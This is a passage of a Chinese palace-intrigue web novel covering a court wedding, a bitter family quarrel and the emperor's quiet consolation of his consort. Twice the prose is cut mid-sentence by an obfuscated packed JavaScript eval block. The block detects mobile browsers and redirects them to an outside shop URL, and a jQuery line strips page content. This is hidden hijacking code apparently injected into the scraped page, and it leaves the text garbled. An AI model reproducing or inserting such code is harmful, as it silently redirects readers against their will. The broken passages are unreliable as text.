夏清圆腕上一阵刺痛，却没有挣脱。 皇后松开手，压住情绪，倚回冰冷的紫檀案沿。“那日御书房外，皇上怕是……一见德妃，就想起这桩前尘，少不得重罚冯家。” 她苦笑，眼底涌上深切的疲惫与迷茫，“君恩如流水……或许本宫，从来没看透过皇上。” “按说德妃经历如此变故，皇上本该更为怜惜才是。”她喃喃自语，像在梳理一团乱麻，“可先帝驾崩、皇上登基后，待她却变了。” “仍是关照——登基便封为正一品妃，饮食起居常亲自过问。却不给宠，也不给权。” 皇后抬眼，烛火在她瞳仁里跳动，“就连贤妃欺辱，他也……从不过问。” 夏清圆心口像是被什么东西重重撞了一下。 “本宫常想，”皇后声音轻得像叹息，“德妃与皇上之间，怕是藏着些……见不得光的辛秘。” 她忽然转向夏清圆，目光锐利如刀：“你太会揣摩圣意，未必是好事。” 这两句话像冰锥，猝然扎进夏清圆心口。 她隐约觉得——皇后伴驾九年，历经风浪，那双看过太多起落的眼睛里映出的，或许是更接近真相的影子。 “皇上既未下旨废后，本宫也还不想死。”皇后眼神中的迷蒙倏然散去，取而代之的是一种近乎冷酷的清醒，“所以宫里的人手，本宫不能尽数交予你。” 皇后在纸上写下大约十余个人名，递给夏清圆，算是对“二公子替考”这件事的妥协。 她顿了顿，语气放缓，却字字清晰：“但冯夏姻亲已成，你只管放心——本宫不会害你。” 夏清圆也不再强求，敛衽一福：“为今日这番话，嫔妾谢过娘娘。” “皇上未登基那几年，昀儿养在太后膝下。”皇后转身望向窗外，背影挺直却孤峭，“这两年有本宫压着，性子总算规矩些。往后……就劳你多费心了。” 夏清圆颔首。 “本宫身边有个叫金忠的奴才，是宫里与冯家通气的喉舌。” 话音落，余音在空寂的殿内袅袅不散。 “只有昀儿好好的，”皇后最后的声音轻得像香灰，却带着灼人的余热，“冯家才会好好与你夏家相处。” 窗外的天光又暗了一分。香线将尽，最后一缕青烟挣扎着盘旋上升，终于无声无息地，消散在满殿凝固的寒意里。 夏清圆拖着疲惫的步子刚踏进临华宫门，便被眼前的景象震得倒抽一口冷气—— 这哪还是她那个素日清净整齐的宫室？ 院子里，她精心挑选、准备带回府给大哥贺喜的几匹云锦，被扯得七零八落，像彩色的水草般胡乱挂在光秃的梅树枝桠上，在寒风里凄惨地飘荡。 她特为新郎定做的那顶赤金累丝玉冠，此刻正歪戴在大皇子萧昀的脑袋上，金丝勾乱了他束得好好的发髻，随着他上蹿下跳的动作疯狂摇摆。 更别提那些零碎—— 羊脂玉佩的穗子被扯散了；珍珠项链的丝线崩断，莹白的珠子滚得满地都是，几个小太监正撅着屁股满地找牙似的追着捡。 “快！把那蜜煎雕花梅子球给本殿端来！还有喜饼！母后宫里都不许吃，定是你这小气鬼藏私了！”萧昀一脚踹翻了挡路的小杌子，手指头几乎戳到荔枝鼻尖上。 荔枝气得眼圈发红，却不敢还嘴，只护着身后食盒：“殿下，这是主子备着……” “什么主子备着！现在都是本殿的！”萧昀伸手就抢，动作间脑袋上的花冠“哐当”掉在地上，他也浑不在意。 夏清圆太阳穴突突直跳。 她看着萧昀——这孩子像是要把过去两年在皇后严格管束下没敢撒的野、没敢耍的横，一股脑儿全补回来。 那嚣张的气焰，活脱脱一只刚放出笼子、瞅准了没人敢真打他，就拼命尥蹶子的小野马。 “听说你后日要出宫？去夏府？”萧昀眼尖瞥见她，立刻调转矛头，几步蹿过来，拦在她面前，仰着下巴，“带本殿一起去！” 夏清圆深吸一口气，试图讲理：“殿下，宫外……” “少糊弄本殿！”萧昀打断她，小脸上满是不屑与恶意，“不就是你大哥要娶那个冯家丑八怪吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对上萧翊沉怒面容的瞬间，他脸上所有的嚣张气焰如同被冷水泼灭，眨眼间换上了一副惯有的、带着些许怯生生的乖巧模样。 “父……父皇。”他小声唤道，甚至还下意识理了理自己凌乱的衣襟，试图站得更端正些，只是头上没了花冠，几缕乱发翘着，显得有些滑稽。 萧翊走到他面前，停下。 父子二人对视着。一个试图用乖巧掩饰惊慌，一个眼中怒意翻涌如海。 然后，在所有人惊愕的目光中—— 萧翊抬手，干脆利落地扇了萧昀一记耳光。 “啪！” 声音清脆响亮，在骤然死寂的庭院中回荡。 萧昀被打得偏过头去，白嫩的脸上迅速浮起清晰的红色掌印。 他彻底懵了，瞪大眼睛，难以置信地看着萧翊，连哭都忘了。 宫人们将头埋得更低，恨不得钻进地缝里。 萧翊收回手，指节微微收紧。他看着儿子瞬间红肿的脸颊和惊骇的眼神，脸上沉怒未消，声音冰冷，一字一句，砸在寂静的空气中： “这一巴掌，是教你何谓‘人言’。” “再让朕听见你口出恶言、践踏他人，”他顿了顿，目光如寒冰利刃，刮过萧昀瞬间惨白的小脸，“朕便让你知道，什么是‘君父’。” 37. 新娘 腊月二十八，夏清樟与冯瑚大婚的日子。 午后冬阳正好，暖融融的光透过冰裂纹窗棂斜照进临华宫正殿，在地上铺开一片金灿灿的光斑。 夏清圆小憩起身，荔枝正服侍她梳洗，吴全顺便躬着身进来了。 “奴才给婉昭仪娘娘请安。”他脸上堆着惯常的恭谨笑意，眼角的褶子堆叠得恰到好处，“车马仪仗皆已备妥，申时三刻出宫，时辰正好。” 夏清圆从镜中看他一眼，点了点头，示意知晓。 珍珠翟冠搁在铺了明黄绸缎的紫檀托盘里，冠身赤金累丝，南珠颗颗圆润饱满，在斜阳里流转着温润虹彩。 这是她今日必须戴上的“体面”。 吴全顺又从袖中取出一叠装订齐整的宣纸，双手奉上，笑容里添了几分真切：“大皇子殿下在资善堂的功课，先生已批改完毕，奴才顺道取了回来。” 夏清圆接过，展开细看—— 纸上墨迹未干透，是萧昀近几日写的《论语》释义。 字迹虽还带着稚嫩，一笔一画却出乎意料地工整清秀，笔锋转折处隐约能看出几分含蓄的筋骨。 她有些出神。 都说字如其人，可萧昀这笔力，与他前几日撒泼胡闹的顽劣性情，实在对不上。 正看着，一个身影便从殿外风风火火地卷了进来。 “还我！” 萧昀小脸上还沾着点心碎屑，见夏清圆正看他的功课，急得跳脚，一把将纸卷抢了回去，紧紧抱在怀里，警惕地瞪着她。 吴全顺笑眯眯地打圆场：“先生夸赞大殿下这月功课大有进益呢，不仅字写得好，文章里的见解也越发清晰了。” 萧昀耳尖微红，却仍抱着纸卷不肯松手，只小声嘟囔：“那是自然。” 夏清圆没多说什么，转身让锦娘伺候更衣—— 正二品昭仪的蓝色宫装，裙摆用银线密密绣着缠枝莲纹，行动间光华内敛，清滟又端庄。 这样正式的排场，她明白萧翊的用意——支持新贵，安抚旧势力。 一是要向所有人昭示他对冯夏联姻的看重，将这场因政治算计而起的婚事，镀上一层“皇恩浩荡”的金边； 二来，也是借此向那些因冯国公倒台而惶惶不安的世家传递信号——冯家之事到此为止，皇上不会再借题发挥、扩大清算，朝局将重归稳定。 正思忖间，萧昀又凑了过来。 自那日后，萧翊像是彻底忘了这个儿子还在临华宫似的，再未过问，也没下明旨安排去处，就这么没名没份地将孩子扔在了她这儿。 而萧昀呢，许是那巴掌的余威尚在，又或许是受了惊吓，下午便发了场低热，哼哼唧唧地在床上躺了两日。夏清圆总不能把个病着的孩子直接扔到皇子所去，一来二去，萧昀竟已在临华宫住了整整三日。 昨日起他便开始软磨硬泡要出宫观礼，夏清圆让周全去请示萧翊，却只得了句轻飘飘的——“冯夏联姻之事由婉昭仪全权操办，不必问朕”。 他惯会和稀泥。 夏清圆思来想去，觉得这趟出宫最好速战速决，实在不想带个熊孩子自找麻烦，便铁了心不松口。 可今日萧昀显然是做了万全准备。 他换上了一身簇新的皇子常服，连腰间的玉佩都系得端端正正。 见夏清圆看过来，他先是鼓着腮帮子，气呼呼地瞪着她，见她不理，眼珠子一转，立刻换上一副可怜巴巴的神情。 “婉娘娘……”他蹭过来，声音拖得长长的，带着点讨好的意味，“您今日真好看。” 夏清圆没接话。 萧昀见她不理，也不气馁，绕着妆台转了小半圈，又道：“我听奴才们说，婚礼可热闹了，吹吹打打的，还有好多好吃的……” “你想都别想。”夏清圆终于开口，语气平淡却不容置疑，“老实待在宫里，锦娘会照看你。” “凭什么呀！”萧昀的小脸立刻垮了下来，鼓着腮帮子，一副委屈模样，“都闷了好几日了！我……我都要长毛了！” 夏清圆被他这形容逗得差点破功，赶紧绷住脸：“宫里这么大，还不够你逛？” “那能一样嘛！”萧昀急了，伸手拽住她一片袖角，轻轻晃着，“婉娘娘……求您了，带我去吧，我保证听话，绝不捣乱！” 见他这般软语相求，夏清圆确实有片刻心软。 这孩子虽顽劣，但到底只是个七八岁的孩童，爱热闹是天性。更何况，他这几日除了那场低热时有些闹腾，烧退后倒是安分了不少，也没给她添麻烦。 萧昀察言观色，见她神色松动，立刻打蛇随棍上：“再说了，冯家怎么说也是我的外祖家！冯瑚.......外祖家的姨母成婚，我这个做外甥的不露面，岂不是失礼？” 这话倒让夏清圆心中一动。 她抬眼，重新审视着眼前这个一脸“我很懂事”模样的孩子。 萧昀的存在，对于能否将冯夏联姻背后的政治利益最大化，至关重要。 他是皇长子，是冯家血脉最稳定、最尊贵的延续。 他若能跟着自己出现在夏府婚宴上，对那些仍在观望、甚至暗中切割与冯家关系的门生故吏而言，无疑是一剂强心针。 利弊在脑中飞快权衡。 最终，她轻轻叹了口气，伸出一根手指：“带你去可以，但要约法三章。” 萧昀眼睛瞬间亮了，小鸡啄米似的点头：“您说！我都答应！” “第一，寸步不离跟着我，不准乱跑。” “第二，不准出言不逊，更不准捣乱。” “第三，不准乱吃东西，尤其是外头的零嘴。” “昀儿都记住了！”萧昀脆生生应道，还学着大人的模样，有模有样地拱了拱手。 夏清圆这才带着他出了临华宫。 谁知刚踏出宫门，迎面便撞见肃月嬷嬷领着瑞王萧瑞，正等在宫道旁。 冬日的宫道空旷寂寥，风卷起枯叶打着旋儿。 肃月嬷嬷一身深褐色宫装，站在光秃的梧桐树下，像一尊沉静的石像。她身旁的萧瑞穿着宝蓝色团花锦袍，比萧昀大了几岁的小少年挺直腰板，脸上挂着与年龄不符的、刻意端出的稳重。 夏清圆心头倏地一紧，面上却不动声色，含笑上前：“肃月姑姑怎么在这儿？瑞王殿下也来了。” 肃月嬷嬷福身行礼，声音平稳无波：“回婉昭仪，太后娘娘听说您今日要出宫观礼，想着瑞王殿下在宫里闷得慌，也想去凑凑热闹。太后说，瑞王若能代表她老人家去观礼，对冯夏姻亲是锦上添花的好事，便让老奴陪着，一同随您前去。” 她顿了顿，补充道：“贺礼已经备在车上了。” 话说到这份上，已是滴水不漏。 夏清圆心底那点不妥的感觉愈发清晰，可她寻不到理由推拒，只得含笑应下：“太后娘娘慈心，是冯夏两家的福气。” 于是，出宫的队伍骤然庞大了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940813|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>婉昭仪的翟冠华盖在前，大皇子与瑞王的仪仗在后，再加上太后宫中随行的宫人内侍，浩浩荡荡一行，穿过重重宫门，往夏府去了。 到夏府时，已是日头西斜。 冬日的黄昏来得早，天边烧起一片橘红夹着靛青的霞，将夏府门前新挂的红绸映得格外鲜艳。 宾客早已到了七七八八，门前车马络绎，笑语喧哗。 昭仪、皇子、瑞王三位贵人同时驾临，这排场在京城近年来的婚宴中还是头一遭。 夏府上下忙而不乱，夏翀亲自领着全家在门前迎驾，深深拜下。 夏清圆不愿在大哥大喜的日子喧宾夺主，早早便吩咐仪仗停在街口，只带着萧昀、萧瑞和少数随从步行入府。 她扶起父亲时，嘴角还噙着得体的笑意，却见夏翀抬起眼，目光在她脸上匆匆扫过。 那眼神很复杂—— 有疲惫，有担忧，还有一丝夏清圆从未在父亲眼中见过的、沉甸甸的失望。 笑意瞬间僵在唇边。 她最怕的事还是发生了——父亲不赞同这门亲事，更不赞同她为了权位牺牲大哥的终身大事。 心头像是被细针猝然刺了一下，酸涩的滋味迅速蔓延开来。 她想解释，想告诉父亲这其中有多少不得已的权衡，可满院宾客目光灼灼，她只能将万千话语咽回肚里，化作一个愈发端庄却空洞的笑容。 她坐在上首，背脊挺得笔直，双手交叠放在膝上，指尖却冰凉。 满眼的红色——红绸、红灯、红喜字； 满耳的喧闹——宾客的寒暄、孩童的嬉笑、乐班的试音； 满鼻的香气——酒菜的热气、脂粉的甜腻、喜烛的氤氲。 可这一切热闹繁华，此刻落在夏清圆眼中耳中，都仿佛隔着一层透明的屏障，色彩黯淡，声音模糊。 不知过了多久，门外忽然传来震天的锣鼓与唢呐声响，夹杂着人群的欢呼—— “花轿来了！花轿来了！” 宾客们纷纷起身张望。夏清圆也忍不住伸长脖子，目光穿过攒动的人头，落在那道穿着大红喜袍的身影上。 夏青樟今日格外英挺。 红袍衬得他面容清俊，身姿挺拔。 可他的脸上却没有新郎官该有的喜色，甚至没有多余的表情。 他只是平静地站在那里，依照礼官的唱和一步步完成仪式，动作标准得挑不出一丝错处，却也冰冷得没有半分温度。 像一尊被推上戏台的精致木偶。 夏清圆的心狠狠揪了一下。 愧疚与委屈像藤蔓般缠绕上来，越收越紧。 她几乎要喘不过气，却还得强撑着那副“御赐恩荣”的昭仪姿态，端坐在上首，看着大哥完成这场所有人都心知肚明的政治联姻。 新娘子盖着红盖头，被喜娘搀扶着下了轿。 观礼的人群中立刻响起一阵压抑的窃窃私语。 无数道目光像探针般，试图穿透那层厚重的红绸，窥探底下那张据说已被大火毁去的容颜。 好奇、怜悯、幸灾乐祸……种种情绪在空气中无声碰撞。 就在这时，一直乖乖站在夏清圆身边的萧昀，忽然轻轻“咦”了一声。 夏清圆侧目看他，眼神中带着警示。 可萧昀歪着小脑袋，仍盯着那道纤弱得仿佛风一吹就会倒的红影，眉头越皱越紧—— “那是冯瑚吗？她怎么……变得这么瘦了？” 38. 争吵 礼成之后，瑞王和萧昀都嚷着饿，夏家又在后院暖阁另辟了一桌精致席面。 夏清圆盯着宫人一一验过饮食，又嘱咐周全和荔枝寸步不离地侍候着，这才随着裴氏，穿过几道回廊，踏入了那个熟悉的、堆满书卷的父亲的书房。 一进门，她便是一怔—— 父亲夏翀坐在临窗的紫檀大案后，面容在渐暗的天光里显得有些模糊，手里攥着一卷书，却未曾翻开； 大哥夏青樟立在书架前，一身大红喜袍尚未换下，背对着门，身影僵硬得像是被钉在了那里； 长姐夏清盈坐在一旁的圈椅里，腹部高高隆起，手里捧着一盏热茶，脸上是掩不住的疲惫； 夏青枫则半倚在门边的博古架上，手里把玩着一枚玉蝉，见她进来，手指微微一顿。 这是夏清圆入宫后，第一次，夏家人这么齐整地聚在一起。 可空气里没有团聚的暖意，只有一种沉甸甸的、几乎令人窒息的滞涩。 夏清圆心头那点因萧昀方才无心之言而生出的疑影，在这片寂静里被暂时压下。 她定了定神，目光先落在夏青樟身上。红袍的鲜亮，越发衬得他侧脸的线条冷硬，没有半分喜气。 试探着开口，声音刻意放得轻柔：“大哥，冯……大嫂，你可见了？” 这话像是一颗火星，猝然坠入早已蓄满火药的房间。 夏青樟猛地转过身来。 那张素来温厚、总是带着三分迁就笑意的脸上，此刻却涨得通红，额角青筋隐隐跳动。 老实人被逼到极致，竟也显出几分从未有过的锐利与愤怒—— “见了？”他声音沙哑，带着一股近乎自嘲的悲愤，“见了又如何？看不见又如何？圆圆，你告诉我！” 他上前一步，红袍的下摆带起一阵风，眼睛里布满血丝，死死盯着妹妹：“你要我做什么，你说。考武举、上阵杀敌、甚至……哪怕你要我这条命去换夏家前程，大哥但凡皱一下眉头，就不配做你兄长！” “可你为什么要用这种法子？！”他几乎是吼出来的，声音因激动而发颤，连带着脖颈上的青筋都贲张起来，“低声下气地去求娶一个……一个名声本就不好、如今面容尽毁、还是罪臣外室所出的庶女？！” “你知道今天来的那些同窗、朋友，看我的眼神是什么样吗？！” 他猛地挥手指向门外，仿佛还能看见那些或同情、或讥诮、或幸灾乐祸的目光，“他们表面恭喜，背地里都等着看笑话！笑我夏青樟为了攀附国公府，连脸面都不要了！说我日后必定‘官运亨通’，靠的不是本事，是娶了个‘好’媳妇！” 夏青樟别过脸去，喉结剧烈滚动。 夏青枫这时开口了，语气难得的严肃：“姐，之前你让飞鸿递信，不是说好了让家里拖延，你想办法毁了这婚事吗？怎么突然就……什么事比一家人和和气气还重要？前程慢慢挣就是了。” 每一个字，都像裹着冰碴的鞭子，狠狠抽在夏清圆心上。 她看着大哥眼中那毫不掩饰的痛苦与屈辱，自己连日来在宫中殚精竭虑、如履薄冰的艰辛，还有此刻背负的、来自父亲和兄长的指责，所有的委屈混在一起，在她胸口翻江倒海。 她深吸一口气，强迫自己稳住心神，目光转向一直沉默的夏翀，试图寻求一点理解：“爹，您也明白，这桩婚事，对夏家眼下……” “夏家眼下如何？”夏翀终于开口，声音不高，却带着一种山雨欲来的沉郁。 他放下手中压根没看的书卷，缓缓抬起眼。 那目光里，没有了往日的温和与慈爱，只有深切的失望与痛心，“做个清流，堂堂正正，有什么不好？为何非要……非要去淌党争的浑水？” 夏清圆心头一凉。 “爹，您以为清流就能独善其身吗？”她上前一步，声音也拔高了些，带着连日来积压的焦虑与急切。 “我们在朝中毫无根基！向维明的例子在前，这次科举，若不是咱们运气好，若不是皇上亲自出宫……我们夏家还能全身而退吗？可下次呢？下下次呢？党争不会因为我们想做清流就放过我们！我们需要有自己的依仗，不仅仅是皇上的恩宠，更是实实在在的田产、人脉、在京城扎下的根！冯家倒了，可瘦死的骆驼比马大，那些散落的关系、残留的势力，正是我们现在最缺的！” 她越说越急，连日来在宫中与各方周旋的疲惫、被算计的憋闷、以及对未来的恐惧，仿佛都找到了宣泄的出口：“夏家不会年年有这样的运气，女儿也不会…也不会年年得宠，不抓住机会，夏家就会成为党争的耗材！” “荒谬！”夏翀猛地一拍桌子，震得案上笔架哗啦作响。他站起身，花白的胡须因激动而微微颤抖。 “为父在朝几十年，虽无大功，但也谨守本分，仰不愧于天，俯不怍于人！皇上要用我，我自当尽心竭力，哪怕赔上这条老命，也是报效君恩！可你……” 他痛心疾首地指着夏清圆，“你看看你现在，满口都是权势、依仗、算计！你这是被宫里的富贵迷了眼！是在用夏家的安宁、用你大哥的终身幸福，为你自己争权夺利铺路！长此以往，夏家满门，怕都要赔在你这份‘雄心’里！” “我用夏家为自己铺路？！”震惊之余，夏清圆被这句话狠狠刺痛，一直强撑的冷静瞬间碎裂。 连日来的委屈、孤独、不被理解的痛苦，如同决堤的洪水，汹涌而出。 她的声音陡然变得尖利，带着哭腔：“难道我不在意大哥吗？！我只是让他成个亲罢了！冯瑚纵然……纵然容貌有损，可她是皇上金口玉言定下的！大哥不过是受些闲言碎语的委屈，哪里就比得上我在宫中的步步惊心、如履薄冰？！你们都心疼他，可谁在乎过我过的是什么日子？！” “你住口！”夏翀怒极，脸色涨红，“进宫是你自己选的！是你当初死活不听劝，非要跳进那个火坑！如今倒来怨我们？！” “难道皇上上门那日，你没有得意？不是你喝了几杯酒，就亲口答应皇上回朝的？” 夏清圆泪水夺眶而出，却倔强地不肯擦去，“就算是我要进宫，我活该在里头挣扎，活该被人算计，活该为了保住夏家、为了不让你们被牵连，去跟那些阴谋诡计周旋，去揣摩圣心，去走一步看三步！而你们呢？你们就可以站在这里，指责我‘贪恋权势’，指责我‘不顾亲情’？！” 她猛地转向一直沉默的夏青枫，声音颤抖：“青枫，连你刚才也怪我，说我毁了拖延婚事的承诺。可你知道我为什么变卦吗？因为没有那么多时间给夏家慢慢筹谋！你们知道多少人等着抓夏家的把柄？我在宫里，今日是昭仪，明日可能就……” 她说不下去了。满腹的委屈、压力、恐惧在这一刻汹涌而来。 夏青枫被她眼中的痛苦震住，张了张嘴，却什么也说不出来，只能懊恼地别过头。 夏清圆又看向夏清盈，仿佛抓住了最后一根稻草：“姐，你明白我的，对不对？你在侯府的日子也不好过，你也知道，没有根基，在高门大户里就是任人揉捏！我们这样的家世，不争，就只能永远被人踩在脚下！” 这话彻底点燃了夏翀的怒火。 老翰林的声音在颤抖，“当初爹怎么劝你的？你写信说你要搏一把，爹依了。现在你告诉我，你不易——这时候怨得了谁？！” 他指着夏清圆，手指发颤：“你不能看着别的嫔妃有好家世，就眼红，就非要把你的兄弟们都推出去，给你垫脚！” “爹！”夏清盈试图劝阻，却被夏翀打断。 “还有你姐！”夏翀看向夏清盈，眼中满是痛心，“她大着肚子，你还撺掇她和祁云朗去争远平候府的爵位——这是要让她往火坑里跳啊！我看你是疯了！” 夏清盈眼圈也红了，连忙放下茶盏，温声劝道：“爹，圆圆在宫里的艰难，女儿虽不能尽知，但也能想象一二。她所做的一切，定然都是为了家里好，大家莫要再吵了……” “为了家里好？”一直没说话的裴氏忽然开口了。 她走到夏清圆面前，脸上没有了往日的宠溺与纵容，只有一种深切的忧虑与不赞成。 她握住女儿冰凉的手，语重心长，声音却带着不容置疑的坚持：“圆圆，娘知道你难。可人，不能太贪心啊。得了千钱想万钱，当了侯爵又想成仙。咱们夏家，能有今日，已是天大的福分，该知足了。” 她看向夏青樟，眼中满是心疼：“青樟是长子长孙，是咱们夏家以后的顶梁柱，是要撑门立户的。他的媳妇，就是夏家未来的主母。可现在……你要他娶一个面容被毁、出身……那样的女子，这将来家宅如何能宁？家宅不宁， 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“你们看看！”夏清圆的声音因激动而劈裂，带着一种近乎疯狂的指控，“你看清楚！这就是你口中‘安稳’‘清流’的日子！姐姐在侯府被人欺负成这样，你这个做父亲的，除了在翰林院修那些无关痛痒的书，除了口口声声‘风骨’，你为她出过头吗？！你为这个家真正撑起过什么吗？！” 话音未落，她眼前却猝不及防地闪过一个画面——许多年前，她贪玩摔破了膝盖，是父亲背着她，一步一步走回家，那宽阔后背的温暖触感，此刻却像冰锥一样刺入现实。 这闪回让她呼吸一滞，但随之而来的是更汹涌的、自暴自弃的愤怒！ 于是她几乎是带着一种玉石俱焚的决绝，死死瞪着他：“你口口声声答应皇上要为他做事，要整顿科场！夏家被推到风口浪尖的时候，你在哪里？你除了唉声叹气、除了让我‘谨慎’，除了埋怨我惹事，你做过什么？！现在，我费尽心力，想为夏家谋一条能站稳脚跟的路，想让我们不再任人宰割，你又跳出来指责我贪心、指责我连累家人！” 她像是用尽了全身的力气，声音嘶哑：“你就是个懦夫！” 情感先于理智，这句话语像淬毒的刀子一样飞出去。她看见父亲脸上的血色瞬间褪尽，看见母亲眼中的惊骇，一股近乎眩晕的、毁灭般的快意和紧随其后的巨大恐慌，同时攫住了她的心脏。 而夏翀，在她话音落下的瞬间，浑身剧震，脸色由红转白，又由白转青。 他猛地抬手，那巴掌裹挟着雷霆般的怒意与痛心，眼看就要落在女儿泪痕斑驳的脸上。 就在最后一刻，他看到了她发间那顶在暮色中依旧流转着冰冷华光的珍珠翟冠。 那是御赐的殊荣，是昭仪的身份，是皇权的象征。 他的手，硬生生僵在了半空。 然后，在所有人惊骇的目光中，夏翀的手臂颓然停住。他闭上眼睛，脸上所有的愤怒、失望、痛心，都化为一片死灰般的颓败与绝望。 “啪——！” 他反手，用尽全身力气，狠狠扇了自己一记耳光。 “爹！”夏青樟和夏青枫同时惊呼。 夏清盈捂着嘴，眼泪簌簌而下。 裴氏扑过去抓住夏翀的手臂，声音发颤：“老爷！你这是做什么！” 夏清圆呆呆地站在原地。 那记响亮的耳光，像是抽在了她自己心上。所有的声音、画面、愤怒，都在那一刻被暂停。 她感到一阵强烈的耳鸣，世界变得一片寂静。方才支撑着她、燃烧着她的那股熊熊怒火，瞬间熄灭，只留下冰冷的灰烬，和一种从骨髓深处蔓延开来的、令人窒息的茫然与钝痛。 喉咙里的腥甜味更浓了，她甚至需要微微张开嘴才能呼吸。双腿发软，几乎站立不住，只能靠死死抓住桌沿的指尖那一点痛感，来确认自己还存在于这个刚刚被她亲手撕碎的空间里。她赢了，可她感觉自己的一部分，也随着父亲脸上那个掌印，死去了。 她转身走了出去。 前院隐隐传来宾客的喧哗笑语，丝竹锣鼓之声未绝，衬得书房里那片死寂，愈发沉重，愈发荒凉。 红绸还在飘，喜字还在笑。 可这个家的裂痕，在这一刻，伴随着暮色，深深地、无声地，刻进了每个人的心里。 39. 惊夜 辇车驶回宫中时，天际最后一丝铅青已被浓墨般的黑暗吞噬殆尽。 临华宫正殿只点了一盏琉璃灯，光影昏黄，堪堪照亮御案一角。萧翊斜倚在夏清圆常坐的那张铺了软缎的摇椅里，手边搁着那本《月下奇缘》。 听见脚步声，他抬眼。 夏清圆一步一步走进来，身上还穿着观礼那身庄重的蓝色昭仪宫装，翟冠上的南珠在昏暗光线下流转着过于饱满的光泽，衬得她脸上一点血色也无。 她像是没看见他，或者说，看见了，但此刻连维持礼节的气力都已榨干。 她径直走到他面前，没有请安，没有说话，只是伸手，摸索到发髻侧后的金簪卡扣，有些笨拙地拨弄了两下。 “咔哒”一声轻响。 那顶沉甸甸的、象征着体面与威慑的珍珠翟冠，被她取下，随手搁在一旁的紫檀小几上。几颗珠子碰撞，发出细微清冷的脆响。 然后她转过身，背对着他，在摇椅前的地毯上坐下——不是跪坐，是一种近乎脱力的、蜷缩般的姿势。她向后靠去，将整个上半身的重量，连同那颗仿佛被抽空了所有支撑的脑袋，轻轻枕在了他的膝上。 萧翊垂眸，只能看见她鸦黑的发顶，以及一小段露出的、白皙却绷紧的后颈。没有抽泣，没有哽咽，甚至连呼吸声都轻得几不可闻。 良久，他的手落下来，很轻地，放在她散开发髻的后脑上。 掌心温热，带着薄茧的粗糙感，就那么虚虚地覆着，没有揉按，没有安慰的话语，只是一种沉默的、有温度的承托。 “挨打了？”他问，声音是一贯的平稳。 夏清圆摇头，脸颊蹭着他腿上的衣料，声音闷闷的：“没有。” “那就是吵输了。”他下了论断，语气里听不出是调侃还是陈述。 夏清圆又不说话了。 眼睛酸热，却不是委屈，而是一种更深切的、连她自己都说不清的疲惫与空洞。 她今日在家人面前撕开了一切温情的伪装，也将自己逼到了悬崖边。此刻伏在这里，像是终于从一场精疲力竭的厮杀中暂时逃脱。 萧翊也没再追问。 他的手从她脑后移到肩膀，轻轻拍了两下，力道不轻不重，带着一种属于帝王的克制节奏。 然后，他重新拿起话本，就着昏暗的灯光，继续看了下去。 仿佛她只是枕在他腿上睡着了，而他不过是顺手照看一下。 殿内一时只有书页偶尔翻动的沙沙轻响，以及银丝炭在兽炉中燃烧的细微噼啪。 良久，一滴温热的液体，毫无征兆地洇透了他墨蓝色常服的布料，触感清晰。 紧接着，是第二滴，第三滴……缓慢而沉默，没有抽泣，没有哽咽，只有无声的濡湿在慢慢扩散。 萧翊放下了手中的话本，书脊轻轻磕在摇椅扶手上。抬起那只空着的手，又落在了她散落的发间。 动作有些生疏，却一下一下，缓慢而稳定地抚过她的长发，像是在顺毛一只在外头受了委屈、回到家却只是默默蜷缩起来的猫。 他的指尖偶尔会碰到她冰凉的耳廓，或是因为隐忍哭泣而微微颤动的后颈。 “哭什么。”他开口，声音不高，在寂静的殿中显得有些低沉平淡，听不出是疑问还是陈述。 “夏府门槛都快被贺喜的人踏破了，朕听着，热闹得很。” 夏清圆没有回答，额头抵着他的膝盖，轻轻摇了摇头。 发丝蹭过他的衣料，带来细微的摩擦感。更多的湿意渗透下去。 她没法说。 没法说那场热闹之下冰冷的算计，没法说父亲那一记响亮的自掴，没法说大哥眼中沉沉的暮色。 而萧翊，似乎也并不真的需要她的回答。 他的手依旧有条不紊地顺着她的长发，语气平淡地继续道：“皇后自请去大相国寺为国祈福，为大皇子积福。朕准了。” 夏清圆身体微微一僵。 去寺庙“祈福”，几乎是废后幽禁的代名词。 而他特意提及“为大皇子积福”，是在告诉她，这是皇后能为萧昀做的最后一点事，也是他应允此事、暂时保住后位名分的底线。 同时，也是在提醒她——萧昀的抚养权，此刻已完全空悬。 “至于你大哥，”萧翊的话调依旧没什么起伏，只是在讨论一件寻常政务，“朕看了他往年习武的考评，底子不错。朕已下旨，擢升夏青樟为禁军北衙司阶，正六品。三日后赴任。” 顿了顿，又补了一句，“驻地在西山营，平日……不需回城。” 膝上的躯体似乎又僵硬了一瞬。 萧翊知道她听懂了。这是给夏青樟的补偿，也是一道屏障——远离京城的流言蜚语，在军中凭本事另起炉灶。 夏清圆依旧没有出声。但一直紧绷的后颈，似乎稍稍松弛了一丝。 “先帝临终前未见朕，只让吴全顺传了一句话。”萧翊的手指无意识地在她肩头轻轻敲了敲，那是他思考时的习惯，“那句话是：‘为君者，可无父无兄，不可无师无臣。’ 夏清圆呼吸一滞。 “朕当时不明白。”萧翊合上话本，将它放到一边，“觉得先帝冷漠。后来才懂……” 他低头，目光落在她散开的青丝上，声音低了些，“通往高处的有些路，只能自己走。能陪你一段的人，已是难得。走散了，不必回头，也不必怨恨。各自有各自的战场。” 抚着她头发的手，力道似乎稍稍重了一点，带着一种不容置疑的意味。“哭够了，就起来。”萧翊的声音里听不出情绪，“明日朕让太医来给你请个平安脉。脸色差成这样，像什么样子。” 那语气，不像丈夫抚慰妻子，倒像两个于荒原跋涉后偶然依偎暂歇的旅人，借由这一点有限的肢体接触，确认彼此尚未被风雪吞没。 